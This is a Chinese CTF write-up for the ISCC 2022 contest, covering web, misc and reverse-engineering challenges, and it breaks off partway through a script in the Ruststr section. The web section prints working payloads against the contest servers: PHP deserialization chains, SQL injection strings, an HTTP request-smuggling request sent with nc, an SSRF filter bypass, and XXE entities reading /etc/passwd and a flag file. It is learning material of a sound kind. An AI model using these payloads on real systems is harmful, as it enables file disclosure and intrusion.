ISCC 2022 Writeup

44 min read

河南提交Writeup时间已过,今天把自己整理的WP发出来,今年和去年相比解出了更多的题,也认识了一些师傅。

WEB

冬奥会

你来参加2022届冬奥会,想知道冬奥会的主办方想告诉你什么吗?

<?php

show_source(__FILE__);

$Step1=False;
$Step2=False;

$info=(array)json_decode(@$_GET['Information']);

if(is_array($info)){

    var_dump($info);

    is_numeric(@$info["year"])?die("Sorry~"):NULL;
    if(@$info["year"]){
        ($info["year"]=2022)?$Step1=True:NULL;
    }
    if(is_array(@$info["items"])){
        if(!is_array($info["items"][1])OR count($info["items"])!==3 ) die("Sorry~");
        $status = array_search("skiing", $info["items"]);
        $status===false?die("Sorry~"):NULL;
        foreach($info["items"] as $key=>$val){
            $val==="skiing"?die("Sorry~"):NULL;
        }
        $Step2=True;
    }
}

if($Step1 && $Step2){
    include "2022flag.php";echo $flag;
}
?>

开头使用 json_decode 要求 year 不能是数字,其次就是数组 count ,也就是长度必须是 3,然后在绕绕 array_search 就行了,简单的一批。

{"year":"a","items":[0,[1,0,1],2]}

Pop2020

大家好,我是pip美,我的朋友pop子出现了一些问题,你们能帮我找到pop子出了什么问题吗?

<?php

echo 'Happy New Year~ MAKE A WISH<br>';

if(isset($_GET['wish'])){
    @unserialize($_GET['wish']);
}
else{
    $a=new Road_is_Long;
    highlight_file(__FILE__);
}
/***************************pop your 2022*****************************/

class Road_is_Long{
    public $page;
    public $string;
    public function __construct($file='index.php'){
        $this->page = $file;
    }
    public function __toString(){
        return $this->string->page;
    }

    public function __wakeup(){
        if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {
            echo "You can Not Enter 2022";
            $this->page = "index.php";
        }
    }
}

class Try_Work_Hard{
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Make_a_Change{
    public $effort;
    public function __construct(){
        $this->effort = array();
    }

    public function __get($key){
        $function = $this->effort;
        return $function();
    }
}
/**********************Try to See flag.php*****************************/

原题 NISACTF2022POPchain


__construc()  # 当一个对象创建时被调用,
__toString()  # 当一个对象被当作一个字符串被调用。
__wakeup()    # 使用unserialize时触发
__get()       # 用于从不可访问的属性读取数据
#难以访问包括:(1)私有属性,(2)没有初始化的属性
__invoke()    # 当脚本尝试将对象调用为函数时触发

题目存在 include 变量,可以尝试控制 $value 通过伪协议读取文件,那也就是是需要触发 _invoke

那么,哪里可以将对象调用为函数呢,我们可以看到有

public function __get($key){
    $function = $this->effort;
    return $function();

这里可以看到通过 _get 方法使得 p 这个对象被调用为 函数

可以看到,_get 方法属于 Make_a_Change 类,那么如何调用 Make_a_Change 类呢

从头看,首先 serialize 会触发 __wakeup()

wakeup() 方法通过 preg_match()$this->page 做字符串比较,如果 $this->pageRoad_is_Long 类,就调用了 toString() 方法;

又因为如果 $stringpage 属性难以访问,则会调用 _get

如果 $stringTest 类,则不存在 page 属性

因此可以有POP链:

Try_Work_Hard::__invoke()<--Make_a_Change::__get()<--Road_is_Long::__toString()

// 流程
Road_is_Long:__wakeup.page
$page = new Road_is_Long
$string = new Make_a_Change
$effort = new Try_Work_Hard
$var='php://filter/read=convert.base64-encode/resource=flag.php'; 

构造EXP

<?php
class Try_Work_Hard{
 protected  $var='php://filter/read=convert.base64-encode/resource=flag.php';
}
class Road_is_Long{
public $page;
 
public $string;
}
class Make_a_Change{
    
public $effort;
}
 
$a=new Road_is_Long();
$b=new Road_is_Long();
$c=new Make_a_Change();
$d=new Try_Work_Hard();
 
$a -> page=$b;
$b -> string=$c;
$c -> effort =$d;
 
echo urlencode(serialize($a));
O%3A12%3A"Road_is_Long"%3A2%3A%7Bs%3A4%3A"page"%3BO%3A12%3A"Road_is_Long"%3A2%3A%7Bs%3A4%3A"page"%3BN%3Bs%3A6%3A"string"%3BO%3A13%3A"Make_a_Change"%3A1%3A%7Bs%3A6%3A"effort"%3BO%3A13%3A"Try_Work_Hard"%3A1%3A%7Bs%3A6%3A"%00%2A%00var"%3Bs%3A57%3A"php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php"%3B%7D%7D%7Ds%3A6%3A"string"%3BN%3B%7D

Easy-SQL

Beaxia的邮箱地址忘记了,你能帮忙找找吗?

试了一下,id=8 时提示 Can you find beaxia's email? ,所以是找 用户8 的邮箱地址,sqlmap跑不出来,最后手注出来了。

http://59.110.159.206:7010/?id=-8 union table emails limit 7,1

image-20220503185547189

请求后返回了一个 ypHeMPardErE.zip@beaxia.cn 我们直接访问 http://59.110.159.206:7010/ypHeMPardErE.zip 得到网站源码

<?php
include "./config.php";
// error_reporting(0);
// highlight_file(__FILE__);
$conn = mysqli_connect($hostname, $username, $password, $database);
   if ($conn->connect_errno) {
    die("Connection failed: " . $conn->connect_errno);
} 

echo "Where is the database?"."<br>";

echo "try ?id";

function sqlWaf($s)
{
    $filter = '/xml|extractvalue|regexp|copy|read|file|select|between|from|where|create|grand|dir|insert|link|substr|mid|server|drop|=|>|<|;|"|\^|\||\ |\'/i';
    if (preg_match($filter,$s))
        return False;
    return True;
}

if (isset($_GET['id'])) 
{
    $id = $_GET['id'];
    $sql = "select * from users where id=$id";
    $safe = preg_match('/select/is', $id);
    if($safe!==0)
        die("No select!");
    $result = mysqli_query($conn, $sql);
    if ($result) 
    {
        $row = mysqli_fetch_array($result);
        echo "<h3>" . $row['username'] . "</h3><br>";
        echo "<h3>" . $row['passwd'] . "</h3>";
    }
    else
        die('<br>Error!');
}


if (isset($_POST['username']) && isset($_POST['passwd'])) 
{

    $username = strval($_POST['username']);
    $passwd = strval($_POST['passwd']);

    if ( !sqlWaf($passwd) )
        die('damn hacker');

    $sql = "SELECT * FROM users WHERE username='${username}' AND passwd= '${passwd}'";
    $result = $conn->query($sql);
    if ($result->num_rows > 0) {
        $row = $result->fetch_assoc();
        if ( $row['username'] === 'admin' && $row['passwd'] )
        {
            if ($row['passwd'] == $passwd)
            {
                die($flag);
            } else {
                die("username or passwd wrong, are you admin?");
            }
        } else {
            die("wrong user");
        }
    } else {
        die("user not exist or wrong passwd");
    }
}
mysqli_close($conn); 
?>
username=-1' union select 1,'admin',2#&passwd=2
-------------------------------------------------
username=admin1' union select 'admin','admin','admin'#&passwd=admin

让我康康!

阿伟说他藏flag超勇的,彬彬托你帮他找出阿伟藏的flag

原题:http://www.hackdig.com/10/hack-519692.htm

payload

echo "GET / HTTP/1.1\r\nHost: localhost\r\nContent-Length: 90\r\nSec-Websocket-Key1: x\r\n\r\nxxxxxxxxGET /fl4g HTTP/1.1\r\nHost: localhost\r\nsecr3t_ip:127.0.0.1\r\nContent-Length: 55\r\n\r\nGET / HTTP/1.1\r\nHost: 127.0.0.1:80\r\n\r\n" | nc 59.110.159.206 7020

爱国敬业好青年-2

这位爱国敬业好青年在哪呢?

image-20220518170818750

根据题干和题目得知要提交位置坐标,这题又和 爱国敬业好青年-1有关联,虽然一直是 0 解,但不影响我解开这题,上一题中有张天安门的图片,直接提交天安门的坐标试试。

<div style="text-align: center;width: 100%;height: 100%;position: absolute;top: -0px;left: -0px;z-index: 1">
    <form class="form" id="a-form" method='POST' action="flag">
        <b style="font-size: 15px">                                                       </b><br>
        <label>Latitude:</label><input style="margin-left: 20px;width: 110px" type="text" name="lati" required> <br>
        <label>Langtitude: </label><input style="width: 110px;margin-left: 5px" type="text" name="langti" required><br>
        <button type="submit" id='true_button' disabled ='true'>提交</button>
        <p>经纬度示例:177°30'E, 25°33'N<a style ="border:none;cursor:default;" onclick="return false" href="info"></a>!</p>
    </form>
</div>

使用题目内置的表单提交会出问题(也可能是出题人故意留的),我们直接提取出有用的信息 PSOT 请求 /flag,然后经度是 lati ,维度是 langti,直接 hackbar 发出去就行了。

一开始 hackbar 发的好好的,但是一会能出flag一会出不来flag,我麻了,直接 python 循环一百次!

import requests

data = {
    'langti': '39°54′N',
    'lati': '116°23′E'
}

url = 'http://59.110.159.206:8020/flag'

for i in range(0, 100):
    r = requests.post(url, data=data)
    print(r.text)

findme

从赛博朋克的不夜城中找到你想要的秘密吧

打开环境一张赛博朋克图片,在源代码里看到注释了 unser.php

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Where am I</title>
</head>
<body>
    <img src="1.png" width="100%" height="100%"> <br>
    <!--/unser.php--> 
</body>
</html>

访问后得到题目源码

<?php
highlight_file(__FILE__);

class a{
    public $un0;
    public $un1;
    public $un2;
    public $un3;
    public $un4;
    
    public function __destruct(){
        if(!empty($this->un0) && empty($this->un2)){
            $this -> Givemeanew();
            if($this -> un3 === 'unserialize'){
                $this -> yigei();
            }
            else{
                $this -> giao();
            }
        }
    }

    public function Givemeanew(){
        $this -> un4 = new $this->un0($this -> un1);
    }

    public function yigei(){
        echo 'Your output: '.$this->un4;
    }
    
    public function giao(){
        @eval($this->un2);
    }
    
    public function __wakeup(){
        include $this -> un2.'hint.php';
    }
}

$data = $_POST['data'];
unserialize($data);

<?php
Class a{
	public $un0='SplFileObject';
	public $un1='php://filter/read=convert.base64-encode/resource=hint.php';
	public $un2='';
	public $un3='unserialize';
	public $un4='';
}

$data = new a;
echo urlencode(serialize($data));
?>

data=O:1:"a":5:{s:3:"un0";s:13:"SplFileObject";s:3:"un1";s:57:"php://filter/read=convert.base64-encode/resource=hint.php";s:3:"un2";N;s:3:"un3";s:11:"unserialize";s:3:"un4";N;}

请求后页面新增回显

Your output: PD9waHANCiRhID0gJ2ZsYWflnKjlvZPliY3nm67lvZXkuIvku6XlrZfmr41m5byA5aS055qEdHh05LitLOaXoOazleeIhuegtOWHuuadpSc7

base64 解码后得到

<?php
$a = 'flag在当前目录下以字母f开头的txt中,无法爆破出来';

<?php
Class a{
    public $un0='GlobIterator';
    public $un1='f*.txt';
	//  使用DirectoryIterator也行
	// 	public $un0='DirectoryIterator';
	// 	public $un1='glob://f*.txt';
	public $un2='';
	public $un3='unserialize';
	public $un4='';
}

$data = new a;
echo urlencode(serialize($data));
?>

data=O:1:"a":5:{s:3:"un0";s:12:"GlobIterator";s:3:"un1";s:6:"f*.txt";s:3:"un2";N;s:3:"un3";s:11:"unserialize";s:3:"un4";N;}

请求后页面新增回显

Your output: fA07TE_G19nde_OR1Der5r.txt

直接访问:http://59.110.159.206:8030/fA07TE_G19nde_OR1Der5r.txt 得到flag

这是一道代码审计题

遇到问题读源代码

访问题目页面显示 /index 请求后一直 404 …突然发现 cookies 有个 login 参数,直接 0 改为 1 页面显示正常了(我在Chrome需要改login参数而在Edge则直接不需要修改

image-20220518195414346

根据题目要求构建请求参数 /index?url=127.0.0.1 源代码中得到一段 base100 编码,解码后得到题目源码。

image-20220518082840858

def geneSign():
    if(control_key==1):
        return render_template("index.html")
    else:
        return "You have not access to this page!"

def check_ssrf(url):
    hostname = urlparse(url).hostname
    try:
        if not re.match('https?://(?:[-\w.]|(?:%[\da-fA-F]{2}))+', url):
            if not re.match('https?://@(?:[-\w.]|(?:%[\da-fA-F]{2}))+', url):
                raise BaseException("url format error")
        if  re.match('https?://@(?:[-\w.]|(?:%[\da-fA-F]{2}))+', url):
            if judge_ip(hostname):
                return True
            return False, "You not get the right clue!"
        else:
            ip_address = socket.getaddrinfo(hostname,'http')[0][4][0]
            if is_inner_ipaddress(ip_address):
                return False,"inner ip address attack"
            else:
                return False, "You not get the right clue!"
    except BaseException as e:
        return False, str(e)
    except:
        return False, "unknow error"

def ip2long(ip_addr):
    return struct.unpack("!L", socket.inet_aton(ip_addr))[0]

def is_inner_ipaddress(ip):
    ip = ip2long(ip)
    print(ip)
    return ip2long('127.0.0.0') >> 24 == ip >> 24 or ip2long('10.0.0.0') >> 24 == ip >> 24 or ip2long('172.16.0.0') >> 20 == ip >> 20 or ip2long('192.168.0.0') >> 16 == ip >> 16 or ip2long('0.0.0.0') >> 24 == ip >> 24

def waf1(ip):
    forbidden_list = [ '.', '0', '1', '2', '7']
    for word in forbidden_list:
        if ip and word:
            if word in ip.lower():
                return True
    return False

def judge_ip(ip):
    if(waf1(ip)):
        return Fasle
    else:
        addr = addr.encode(encoding = "utf-8")
        ipp = base64.encodestring(addr)
        ipp = ipp.strip().lower().decode()
        if(ip==ipp):
            global control_key
            control_key = 1
            return True
        else:
            return False

很明显是构建 SSRF ,加个 @ 绕过 waf 并把127.0.0.1 base64编码一下构造绕过 /index?url=http://@MTI3LjAuMC4x

image-20220518083052199

访问 /mti3ljaumc4x 同时按照题目要求设置好 Cookie

image-20220518083153927

测试发现存在 XXE

<?xml version="1.0"?>
<!DOCTYPE user[
<!ENTITY name SYSTEM "file:///etc/passwd">]>
<user>
<name>&name;</name>
<password>&name;</password>
</user>

image-20220518083425392

直接拿到FLAG

POST /mti3ljaumc4x/codelogin HTTP/1.1
Host: 59.110.159.206:8040
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Cookie: login=0; a_cookie=aW4gZmFjdCBjb29raWUgaXMgdXNlZnVsIQ==
Content-Length: 163

<?xml version="1.0"?>
<!DOCTYPE user[
<!ENTITY name SYSTEM "file:///proc/self/cwd/flag.txt">]>
<user>
<name>&name;</name>
<password>&name;</password>
</user>

image-20220518082754163

MISC

单板小将苏翊鸣

在此次冬季奥运会项目中,17岁的单板小将苏翊鸣在单板项目中获得一金一银的优异成绩,打破了多年来中国队的历史最好成绩,为中国队此次冬奥之行锦上添花。

打开后俩文件 原图.png 和 加密压缩包flag.rar,很明显图片缺半截,我们直接高度改为 1000px

image-20220502111843888

多出来的像素出现了二维码,直接扫码,得到一段 unicode ,解密后得到

在这次冬奥会的舞台上,我国小将苏翊鸣斩获一金一银,那你知道此次冬奥会我国总共获得几枚奖牌吗?又分别是几金几银几铜呢?

image-20220502112028976

根据提示搜索一番,得到 flag.rar 解压密码 15942 其实这种弱密码我觉得爆破更快一些2333,解压后得到flag。

image-20220502112151946

降维打击

降维打击

附件图片是《魔女之旅》中的伊蕾娜,我们用 foremost 分离出另一张图片

image-20220502112940882

然后使用 zsteg 文件名 -a 命令发现 b1,r,lsb,yx 还有一张 png 图片

image-20220502113011252

我们使用 zsteg -E 'b1,r,lsb.yx' 文件名 > flag.png 提取出这张图片

image-20220502113249665

根据图片名百度 魔女之旅 文字 找到了两篇文章

《魔女之旅》文字破解:https://www.bilibili.com/read/cv7855745

《魔女之旅》文字破解·印刷体:https://www.bilibili.com/read/cv8724055

重要的就是下面那两张图,直接对比出来相应的英文大写字母即可(眼都看瞎了),flag格式:ISCC{--****}

image-20220502113202447

image-20220502113220924

藏在星空中的诗-1

漫天的繁星也许是一首美丽的诗!(建议使用winRAR)

下载后三个附件 Stars.psdPoem.txt 和 加密压缩包Poem_is_the_Key.zip

Ps打开Stars.psd文件,图层1 不透明度改为 100,发现出来一个有箭头指向的星星

image-20220502113929472

我们直接把 Poem.txt 通过上面星星的指向顺序 13524 排列出 Poem_is_the_Key.zip 的解压密码(一定要用Winrar,其他解压软件应该不支持这种密码)。

image-20220502114123042

压缩包解密后得到一个表格

image-20220502114506034

然后把 Poem.txt 里面的星星,对照着表格中的字母敲出来,第一行为 FLAG= ,第二行为 ISCC{ ,依此对照敲出 三四五

Flag格式:ISCC{14个大写字符}

真相只有一个

misc是英文miscellaneous的前四个字母,表示有杂项、混合体、大杂烩的意思,题目思路广,模式不定,线索众多,在这些线索中有的有用有的没用,最终的真相只有一个。

打开 flag.txt 全选后发现有点像 snow,解密密码猜了一下,直接 snow.exe -C -p isccmisc flag.txt,得到flag

image-20220502132525237

小光学AI

小光同学最近在学习人工智能技术,看了周志华老师的西瓜书后,感觉自己又行了。 这次他找来了三种水果的图片:黄瓜、茄子和蘑菇,研究的第一步是区分这三种水果,将三种水果分类;第二步是图像分割,选中目标区域,目标区域指的是能够覆盖图片中水果区域的最小矩形。 做完后小光同学计算出了三种水果目标区域的像素和A,B,C(0<A,B,C<10^9),发现这些像素和可以化简到x:y:z,其中(0<x,y,z<10),你可以找到A,B,C三者的实际值之比吗(格式A:B:C)?

Flag格式:ISCC{XXX}

没学过AI,题干也没看懂直接按照题目中提到的格式生成字典爆破

out = []
fp = open("encode.txt", "w+", encoding="ANSI")

for i in range(1 ,10):
    for j in range(1, 10):
        for m in range(1, 10):
            for n in range(10000,100000):
                fp.write("{0}{1}{2}\n".format(i*n, j*n, m*n))
print("Done")

解压密码

37035:49380:61725

2022冬奥会

2022冬奥会在北京举办,身为东道主的你知道此次冬奥会的吉祥物分别是谁吗?并且你知道这两只冬奥会的吉祥物最初设计的原型分别是什么吗?我只能提示你其中有一只的原型是我们的国宝哦。

这题没什么好说的,冰墩墩原型是熊猫,雪容融原型是灯笼,所以解压密码是:灯笼 解压之后记事本打开图片,得到flag

image-20220510144419395

藏在星空中的诗-2

漫天的繁星也许是另一首美丽的诗!

打开后如图所示,和 藏在星空中的诗-1 差不多,直接对照着 藏在星空中的诗-1 中的表格敲出密文。

image-20220510211223983

\QTTPU\QTTED\QTTPD\QTTPD\QTTKB\QTTPK\QTTFB\QTTPD\QTTFK\QTTFO\QTTKT\QTTFE\QTTKG\QTTKD\QTTFU\QTTPG\QTTDU\QTTKU\QTTPK\QTTKH

然后 QTT 批量替换为 u00,然后对照着表格进行解密。示例 QYYPU = u0049

image-20220510144818336

最后得到一段 unicode ,直接解密即可

\u0049\u0053\u0043\u0043\u007B\u0047\u006B\u0043\u0067\u006F\u0070\u0065\u007A\u0073\u0069\u004A\u0039\u0079\u0047\u007D

隐秘的信息

乐乐在开始做作业时,遇到了一串ZWFzeV90b19maW5kX3RoZV9mbGFn字符串,研究了一番,什么都没有发现。乐乐能找到隐秘的信息并完成作业吗?

题干中的字符串是 base64 编码,直接解密得到压缩包的解压密码 easy_to_find_the_flag ,使用 StegSolve 发现图片是 LSB 隐写(R0/G0/B0),直接复制我选中的字符串,如下所示。

image-20220511182630592

删掉右侧多余的乱码字符串,只保留左侧的16进制代码,如下所示。

fff495343437b6b5 4336a74507377355  23759365270796a4 e7a307dc01f8007f  fffc7e3fe00fff00 71

使用 CyberChefFrom HexTo Binary 得到一串二进制代码。

image-20220511182812500

直接把前面的 1 删掉,然后再 From Binary 转换为字符串就会出现flag。

image-20220511182949210

套中套

亲爱的CTFer走到一个巨大的盒子前,上面写满了0和1,却也看不出个所以然。仔细看了半夜,才在字缝中看出来,整个盒子都写着“套中套”……

下载附件得到俩文件 tzt.png 和加密压缩包 tzt2.zip ,打开 png 提示文件损坏,010编辑器打开在末尾发现一段 base64,解码后得到flag2: _ISCC_Zo2z

image-20220518104938144

然后很明显看到缺了文件头,直接补上 89504e470d0a1a0a0000000d ,正常打开图片… 啥也没有。

image-20220518104500535

直接修改 高度 得到 wELC0m3_

image-20220518104743023

image-20220518104755549

尝试了各种组合,还是解不开压缩包,也得不到 flag3 在哪,最后靠学弟猜出了完整的字符串:wELC0m3_T0_tH3_ISCC_Zo2z ,使用这段字符串解压压缩包。

解压后得到一堆文件,百度了一番发现是原题(背包加密):https://ctf-wiki.org/crypto/asymmetric/knapsack/knapsack/#_9 ,直接用脚本一把梭了。

直接把解压后 pub.Keyenc.txt 文件内容填入下面的脚本中。然后使用 https://sagecell.sagemath.org/ 在线运行。

pubKey = 
nbit = len(pubKey)
encoded = 
A = Matrix(ZZ, nbit + 1, nbit + 1)

for i in range(nbit):
    A[i, i] = 1

for i in range(nbit):
    A[i, nbit] = pubKey[i]

A[nbit, nbit] = -(encoded)

res = A.LLL()
for i in range(0, nbit + 1):
    
    M = res.row(i).list()
    flag = True
    for m in M:
        if m != 0 and m != 1:
            flag = False
            break
    if flag == True:
        M = ''.join(str(j) for j in M)
        M = M[:-1]
        M = hex(int(M, 2))[2:]
        print(hex(int(M,16)))

image-20220518105636374

然后直接十六进制转字符串即可

image-20220518105713329

666

小孔同学最近新加入了一个实验室,作为一名菜鸡,每天的重要工作之一就是给大佬喊666。不过如今喊666的方式也要创新,你有什么好的办法吗?

注:本题结果X加上ISCC{}写作ISCC{X}

压缩包有伪加密,直接修复一下

image-20220525075847540

解压后得到加密压缩包 flag.rar 和 一张熊本熊的图片,使用 steghide 解密熊本熊图,密码随便试了个弱口令成功了

image-20220525081046327

得到半截 png 图片,图片高度修改为 300 得到压缩包密码 !@#$%678()_+

image-20220525081155778

image-20220525081206214

解压压缩包后得到 stream.pcapng ,看到了里面有 http 请求,我们直接导出 http 请求

image-20220525082947756

在json文件中发现一个网址

image-20220525083101751

打开 https://www.cnblogs.com/konglingdi/p/14998301.html 发现一张千与千寻的图,而且可以看到有东西一闪而过了

第七帧

SElERWtleTo4NTIgOTg3NDU2MzIxIDk4NDIzIDk4NDIzIFJFQUxrZXk6eFN4eA==

base64解密后得到

HIDEkey:852 987456321 98423 98423 REALkey:xSxx

852 987456321 98423 通过手机九键键盘加密可以得出 ISCC ,大概就是下面这个意思

image-20220525085047647

第16帧

pQLKpP/

第26帧

EPmw301eZRzuYvQ==

16 帧和第26 帧拼接到一块,然后 AES 解密,密码 ISCC,得到flag

image-20220525085324875

REVERSE

Amy’s Code

代码好像有点眼熟?

ida x32 打开,直接定位到 sub_412550F5 查看伪代码。

image-20220507131421589

v9 = [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]
# v9[0] - v9[19]
v9[0] = 149;
v9[1] = 169;
v9[2] = 137;
v9[3] = 134;
v9[4] = 212;
v9[5] = 188;
v9[6] = 177;
v9[7] = 184;
v9[8] = 177;
v9[9] = 197;
v9[10] = 192;
v9[11] = 179;
v9[12] = 153;
v9[13] = 163;
v9[14] = 195;
v9[15] = 137;
v9[16] = 112;
v9[17] = 189;
v9[18] = 110;
v9[19] = 184;

str1 = 'LWHFUENGDJGEFHYDHIGJ'
flag = ''
for i in range(len(str1)):
    flag += chr(v9[i] - ord(str1[i])^i)
print(flag)

How_decode

只要你输入的是正确答案,程序就会告诉你,你是对的,加油

ida x64 打开,直接定位到 main 函数,F5 查看伪代码。

image-20220507131502071

Encode函数v2 加密了,加密后的 v2 数组和 p_v1 数组进行比较(全部相等输出正确)

encode(v2, n, k);
for ( i_0 = 0; i_0 < n; ++i_0 )
{
    if ( *((_DWORD *)p_v1 + i_0) != v2[i_0] )
        goto LABEL_2;
}
printf("Your input is the right answer!");

通过开头这一段我们能够拿到 p_v1 数组即加密后的 v2 ,用于加密的 k 和长度 n

  n1 = 18;
  v11 = 17i64;
  v3 = alloca(80i64);
  p_v1 = (int (*)[])(4 * (((unsigned __int64)v2 + 3) >> 2));
  v4 = p_v1;
  *(_DWORD *)p_v1 = 646664799;
  v4 = (int (*)[])((char *)v4 + 4);
  *(_DWORD *)v4 = -1563984516;
  v4 = (int (*)[])((char *)v4 + 4);
  *(_DWORD *)v4 = 5403868;
  v4 = (int (*)[])((char *)v4 + 4);
  *(_DWORD *)v4 = -851615406;
  v4 = (int (*)[])((char *)v4 + 4);
  *(_DWORD *)v4 = -1577982033;
  v4 = (int (*)[])((char *)v4 + 4);
  *(_DWORD *)v4 = -1112569621;
  v4 = (int (*)[])((char *)v4 + 4);
  *(_DWORD *)v4 = -2038538024;
  v4 = (int (*)[])((char *)v4 + 4);
  *(_DWORD *)v4 = 89732896;
  v4 = (int (*)[])((char *)v4 + 4);
  *(_DWORD *)v4 = 856644365;
  v4 = (int (*)[])((char *)v4 + 4);
  *(_DWORD *)v4 = -1143066723;
  v4 = (int (*)[])((char *)v4 + 4);
  *(_DWORD *)v4 = 1826125009;
  v4 = (int (*)[])((char *)v4 + 4);
  *(_DWORD *)v4 = 947398586;
  v4 = (int (*)[])((char *)v4 + 4);
  *(_DWORD *)v4 = -204891967;
  v4 = (int (*)[])((char *)v4 + 4);
  *(_DWORD *)v4 = -1909151093;
  v4 = (int (*)[])((char *)v4 + 4);
  *(_DWORD *)v4 = 632925486;
  v4 = (int (*)[])((char *)v4 + 4);
  *(_DWORD *)v4 = 381866701;
  v4 = (int (*)[])((char *)v4 + 4);
  *(_DWORD *)v4 = -976384688;
  *((_DWORD *)v4 + 1) = -1681924957;
  k[0] = 73;
  k[1] = 83;
  k[2] = 67;
  k[3] = 67;

进入加密函数 encode 可以看出来是一个 XXTEA加密 或者通过 findcrypt 插件也可以看出来

void __cdecl encode(int *v, int n, const int *key)
{
  int *v4; // rax
  int *v5; // rax
  int y; // [rsp+8h] [rbp-18h]
  int e; // [rsp+Ch] [rbp-14h]
  int rounds; // [rsp+10h] [rbp-10h]
  int p; // [rsp+14h] [rbp-Ch]
  int sum; // [rsp+18h] [rbp-8h]
  int z; // [rsp+1Ch] [rbp-4h]

  rounds = 52 / n + 6;
  sum = 0;
  for ( z = v[n - 1]; rounds--; z = *v5 )
  {
    sum -= 1640531527;
    e = (sum >> 2) & 3;
    for ( p = 0; p < n - 1; ++p )
    {
      y = v[p + 1];
      v4 = &v[p];
      *v4 += ((y ^ sum) + (z ^ key[e ^ p & 3])) ^ (((4 * y) ^ (z >> 5)) + ((y >> 3) ^ (16 * z)));
      z = *v4;
    }
    v5 = &v[n - 1];
    *v5 += ((*v ^ sum) + (z ^ key[e ^ p & 3])) ^ (((4 * *v) ^ (z >> 5)) + ((*v >> 3) ^ (16 * z)));
  }
}

找一个解密算法

#define DELTA 0x9e3779b9  
#define MX (((z>>5^y<<2) + (y>>3^z<<4)) ^ ((sum^y) + (key[(p&3)^e] ^ z)))  

void btea(int32_t *v, int n, int32_t const key[4])  
{  
	int32_t y, z, sum;  
	signed p, rounds, e;  
	if (n > 1)            /* Coding Part */  
	{  
		rounds = 6 + 52/n;  
		sum = 0;  
		z = v[n-1];  
		do  
		{  
			sum += DELTA;  
			e = (sum >> 2) & 3;  
			for (p=0; p<n-1; p++)  
			{  
				y = v[p+1];  
				z = v[p] += MX;  
			}  
			y = v[0];  
			z = v[n-1] += MX;  
		}  
		while (--rounds);  
	}  
	else if (n < -1)      /* Decoding Part */  
	{  
		n = -n;  
		rounds = 6 + 52/n;  
		sum = rounds*DELTA;  
		y = v[0];  
		do  
		{  
			e = (sum >> 2) & 3;  
			for (p=n-1; p>0; p--)  
			{  
				z = v[p-1];  
				y = v[p] -= MX;  
			}  
			z = v[n-1];  
			y = v[0] -= MX;  
			sum -= DELTA;  
		}  
		while (--rounds);  
	}  
}  

编写解密脚本即可

#include <stdio.h>  
#include <stdint.h>  
#define DELTA 0x9e3779b9  
#define MX (((z>>5^y<<2) + (y>>3^z<<4)) ^ ((sum^y) + (key[(p&3)^e] ^ z)))  

void btea(int32_t *v, int n, int32_t const key[4])  
{  
	int32_t y, z, sum;  
	signed p, rounds, e;  
	if (n > 1)            /* Coding Part */  
	{  
		rounds = 6 + 52/n;  
		sum = 0;  
		z = v[n-1];  
		do  
		{  
			sum += DELTA;  
			e = (sum >> 2) & 3;  
			for (p=0; p<n-1; p++)  
			{  
				y = v[p+1];  
				z = v[p] += MX;  
			}  
			y = v[0];  
			z = v[n-1] += MX;  
		}  
		while (--rounds);  
	}  
	else if (n < -1)      /* Decoding Part */  
	{  
		n = -n;  
		rounds = 6 + 52/n;  
		sum = rounds*DELTA;  
		y = v[0];  
		do  
		{  
			e = (sum >> 2) & 3;  
			for (p=n-1; p>0; p--)  
			{  
				z = v[p-1];  
				y = v[p] -= MX;  
			}  
			z = v[n-1];  
			y = v[0] -= MX;  
			sum -= DELTA;  
		}  
		while (--rounds);  
	}  
}  


int main()  
{  
	int32_t v[18];
	v[0] = 2083504789;
	v[1] = 863817516;
	v[2] = -1246907673;
	v[3] = 861360817;
	v[4] = -1944023979;
	v[5] = 71509067;
	v[6] = -305568114;
	v[7] = 1203113234;
	v[8] = 39999966;
	v[9] = 1408413502;
	v[10] = -797353570;
	v[11] = -84516483;
	v[12] = 1904288836;
	v[13] = 1737869011;
	v[14] = 492860697;
	v[15] = 2091909920;
	v[16] = 1335943054;
	v[17] = 125072142;  
	int32_t const k[4]= {0x49, 0x53, 0x43, 0x43};  
	int n= 18; 
    // n的绝对值表示v的长度,取正表示加密,取负表示解密  
	// v为要加密的数据是两个32位无符号整数  
	// k为加密解密密钥,为4个32位无符号整数,即密钥长度为128位    
	btea(v, -n, k);  
	printf("解密后的数据:%u %u\n",v[0],v[1]); 
	for(int i=0;i<18;i++){
		printf("%c",v[i]);
	} 
	return 0;  
}

Sad Code

就是喜欢做题,你喜欢做数学题吗?

ida x32 打开,定位到 _main_0F5 查看伪代码。

image-20220507141728609

from z3 import *
#报错的装Z3-solver 不要用z3
v16=[Int("v16%s"%i) for i in range(8)]

s=Solver()

s.add(v16[2] + 7 * v16[1] - 4 * v16[0] - 2 * v16[3] == 0x1F675FCBE)
s.add(5 * v16[3] + 3 * v16[2] - v16[1] - 2 * v16[0] == 0x16ECB525D)
s.add(2 * v16[1] + 8 * v16[3] + 10 * v16[0] - 5 * v16[2] == 0x48AD213F9)
s.add(7 * v16[0] + 15 * v16[1] - 3 * v16[3] - 2 * v16[2] == 0x7AB246ADD)
s.add(15 * v16[4] + 35 * v16[7] - v16[5] - v16[6] == 0xEE83D143C)
s.add(38 * v16[6] + v16[4] + v16[7] - 24 * v16[5] == 0x24FA58FB1)
s.add(38 * v16[5] + 32 * v16[4] - v16[6] - v16[7] == 0x15503BC5DF)
s.add(v16[4] + 41 * v16[6] - v16[5] - 25 * v16[7] == 0x2922F20B4)

v4=[]
if(s.check()==sat):
    m=s.model()
    for i in range(8):
        v4.append(hex(int(str(m[v16[i]])))[2:])
print(v4)

for i in range(8):
    for j in range(4):
        print(chr(int(v4[i][j*2:j*2+2],16)),end="")

Ruststr

图非图,字非字。

ida x64 打开,定位到 iscc_reverse::mainF5 查看伪代码,有个 qmecpy 函数。

image-20220507142403668

放入 base64hex 脚本并 两个 为一节作为 0xXX 格式和第二个脚本的上下数列格式相同

import base64

